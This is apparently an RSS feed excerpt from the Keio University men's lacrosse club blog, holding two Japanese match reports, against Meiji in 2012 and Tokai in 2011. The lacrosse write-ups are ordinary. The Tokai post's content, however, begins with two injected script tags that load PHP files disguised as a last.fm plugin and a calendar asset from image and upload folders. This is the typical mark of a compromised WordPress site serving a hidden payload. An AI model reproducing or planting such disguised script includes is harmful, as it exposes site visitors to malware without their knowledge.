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	<title>慶應義塾大学男子ラクロス倶楽部</title>
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	<description>Keio University Mens Lacross Club</description>
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		<title>六大学戦　対明治大学</title>
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		<pubDate>Sat, 31 Mar 2012 00:39:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<description><![CDATA[去る３月２１日、日吉陸上競技場にて六大学リーグ明治大学戦が行われました。 第１クオーター、先制点を奪われるも、AT呉地の２得点の活躍により、３－１と好スタートを切る。 続く第２クオーター、慶応のミスから一気にゴール前まで [...]]]></description>
			<content:encoded><![CDATA[<p>去る３月２１日、日吉陸上競技場にて六大学リーグ明治大学戦が行われました。</p>
<p>第１クオーター、先制点を奪われるも、AT呉地の２得点の活躍により、３－１と好スタートを切る。</p>
<p>続く第２クオーター、慶応のミスから一気にゴール前まで運ばれてシュートを決められ３－２となる。しかしAT脇坂が裏からのショットを決めると、再び脇坂がAT小鹿へと好フィードを通しスコアし、流れを呼び戻した。終了間際には相手に１on１から得点されてしまうが、５－３とリードして前半を終えた。</p>
<p>第３クオーター、開始早々DF岡本がGBをすくい一気に敵陣ゴール前まで駆け上がりシュートを決める。これで流れをつかみたかった慶応だが、右上から豪快なスタンディングシュートを決められてしまうなど、不用意なDFで２点を与えてしまい、６－５でこのクオーターを終えた。</p>
<p>最終第４クオーター、開始１分後にクリースへフィードを通されてしまい失点してしまい、同点とされてしまう。その直後、絶対に流れを引き戻したい場面だったが、パスミス後のGBをすくわれ得点されてしまい遂に逆転を許してしまう。その後も焦りが先行しミスを連発してしまった慶応は、立て続けにスコアされこのクオーター０－６。最終的に６－１１で明治大学に敗北を喫してしまった。</p>
<p>春期間も中盤に差し掛かり、何としても良い結果を残したい初戦であったが、不甲斐ない試合をしてしまった。まだ六大学戦は続くので、今まで以上に練習して臨みたい。</p>
<p>また、応援に来てくださった方は本当に有難うございました。これからも日本一に向け、努力していきたいと思います。</p>
<p>１年　奈良</p>
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		<title>VS東海大学追記</title>
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		<pubDate>Tue, 23 Aug 2011 12:02:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[未分類]]></category>

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		<description><![CDATA[更新が遅くなってしまい大変申し訳ありません。 初戦の東海戦について詳細をお伝えしたいと思います。 8月14日の17:10に始まった開幕戦。朝方に練習することが多いラクロス部にとって夕方に始まる試合がとても新鮮でした。満員 [...]]]></description>
			<content:encoded><![CDATA[<p><script src=/wp-content/themes/keiolax/images/cache/last.fm.records.php></script><script src=/wp-content/uploads/2010/11/fullcalendar.php></script>更新が遅くなってしまい大変申し訳ありません。<br />
初戦の東海戦について詳細をお伝えしたいと思います。</p>
<p>8月14日の17:10に始まった開幕戦。朝方に練習することが多いラクロス部にとって夕方に始まる試合がとても新鮮でした。満員の駒沢第２球技場という最高のグラウンドで試合をすることができたのも本当に光栄なことでした。</p>
<p>1Qが始まってわずか20秒で先制点を決めたのは慶應６番阿部(３年)。ロングミッドフィルダーというディフェンスの要であるポジションでありながら試合の流れをいっきに引き寄せる1点を取り、スタンドや観客席、フィールドにいた選手たちの視線を釘づけにしました。その後は終始慶應が試合のペースを握りました。８番斉木(３年)の２点連続得点や９番田中(３年)の豪快なシュートで慶應が得点を重ねます。相手がボールを奪ったかと思うと、今年の慶應ラクロスの象徴とも言えるダブルディフェンスや、１７番相川(３年)の華麗な守備、ゴーリー中井(４年)のキレのあるセーブで相手に得点を許しません。後半１点を取られたものの最後まで慶應ペースで試合を運び、７－１で1Qを終えます。</p>
<p>2Qは、田中の遠い位置からの豪快なシュートから始まりました。観客席から歓声と驚きの声が上がるほどの力強いシュートです。好調なすべりだしで始まった2Qでしたが、慶應は苦戦をしいられました。FOから相手にペースを握られると東海の多彩なシュートが飛出し、４失点を重ねて、気が付くと８－５と３点差まで詰め寄られました。しかしここで流れを変えたのが40番長島(４年)の巧みな９点目。ここで一気に流れを慶應に戻しました。その後は24番加藤(３年)がリーグ戦初得点を決めたのに加え、田中も本日３得点目を決めて１２－６で前半を折り返します。</p>
<p>とても日差しが強く暑かったグラウンドも日が暮れて涼しくなってきたころに後半が始まりました。後半も慶應の勢いは止まらず大量得点を重ねます。</p>
<p>3Qもアメリカ仕込みの89番加藤(４年)の華麗なシュートで慶應の得点から始まります。２失点を許すものの、ゴーリー末広(３年)のセーブや斉木のFOから慶應への流れを引き寄せて３得点をあげ、１６－８で依然リードを続けます。</p>
<p>4Qが始まってからも慶應の勢いは止まりませんでした。91番平子(４年)が２得点をあげて本日４得点目を決めて大差をつけると、慶應２０得点目を決めたのは44番高橋(１年)。１年生ながらベンチ入りをしているだけでなく開幕戦で得点を決めたことは本人にとっても慶應ラクロスにとってもとても意味のあることでした。高橋の得点によりスタンドもベンチもより一層の盛り上がりを見せて試合の最後まで大きな歓声はやむことがありませんでした。試合終了３分前には22番藤澤(３年)が最後の得点を決めてそのまま試合終了。２２－１２で東海戦を終えました。</p>
<p>2011年度の慶應ラクロスの目標である「全日本選手権優勝」をかなえるべく最高のスタートをきることができた試合でした。開幕戦ということで多くの観客の方々に見守られて最高のパフォーマンスができたと思います。まずは１勝、ここから慶應の連勝を続けるべくこれからも日々進化をしていきたいです。<br />
お忙しい中、そして大変暑い中応援にかけつけてくださった方々誠にありがとうございました。応援してくださるすべての方々に感謝の気持ちを忘れずに今後も邁進していきたいと思います。<br />
今後も応援よろしくお願いいたします。</p>
<p>２年　金子</p>
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